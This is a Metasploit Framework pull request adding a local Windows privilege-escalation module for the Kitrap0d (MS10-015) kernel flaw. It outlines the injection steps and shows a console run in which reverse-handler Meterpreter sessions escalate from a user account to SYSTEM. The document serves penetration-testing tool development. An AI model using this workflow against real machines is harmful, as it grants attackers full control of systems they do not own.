rapid7/metasploit-framework — pull request #2633 by OJ (2013-11-12 13:08:30+00:00)
Title: Kitrap0d local Windows exploit

This PR contains a new local Windows exploit module which contains the Kitrap0d kernel exploit by Tavis Ormandy.

The code consists of:

1. A new DLL called `elevate.x86.dll` which is a generic "elevator". This DLL will potentially contain more local elevation exploits down the track (possibly, up for discussion).
1. A DLL which contains the kitrap0d exploit. This DLL is embedded as a resource in the `elevate.x86.dll` and is pulled out at run time when required.
1. A new Ruby module which works the magic.
1. Removal of the kitrap0d option from the `getsystem` call.

The code contains a cut and paste of code from Meterpreter, with a few tweaks to get it to work better as a local exploit.

The module does the following:

1. Creates a new notepad process.
1. Writes the exploit dll into that new process's memory.
1. Writes the payload into that new process's memory.
1. Loads the exploit dll reflectively, passing in a parameter which indicates that the kitrap0d exploit is to be run.
1. When done, the payload is then invoked, resulting in the execution being run under the context of the system user.

Here's a sample run:

```
msf exploit(handler) > exploit

[*] Started reverse handler on XX.XX.XX.40:8000
[*] Starting the payload handler...
[*] Sending stage (768512 bytes) to XX.XX.XX.40
[*] Meterpreter session 1 opened (XX.XX.XX.40:8000 -> XX.XX.XX.40:52138) at 2013-11-12 23:02:10 +1000

meterpreter > getuid
Server username: WIN-KM66F94HDLL\OJ
meterpreter > sysinfo
Computer : WIN-KM66F94HDLL
OS : Windows 7 (Build 7600).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set session 1
session => 1
msf exploit(ms10_015_kitrap0d) > exploit

[*] Started reverse handler on XX.XX.XX.40:4444
[*] Launching notepad to host the exploit...
[+] Process 3912 launched.
[*] Reflectively injecting the exploit DLL into 3912...
[*] Exploit injected. Injecting payload into 3912...
[*] Payload injected. Executing exploit...
[*] Exploit executed. Executing payload...
[*] Sending stage (768512 bytes) to XX.XX.XX.40
[+] Exploit successful.
[*] Meterpreter session 2 opened (XX.XX.XX.40:4444 -> XX.XX.XX.40:47660) at 2013-11-12 23:02:55 +1000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

The Meterpreter side to this PR is [over here](https://github.com/rapid7/meterpreter/pull/51).

### Validation

- [ ] Exploit only executes on x86 systems, not x64.
- [ ] 2000, XP, Vista, 2003, 2008 and 7.
- [ ] `getsystem` doesn't run the exploit any more.

@wvu-r7 @wchen-r7 @jvazquez-r7 -- please cast your eyes over this and point out where I'm doing something stupid. Bring on the learnings!

Thanks.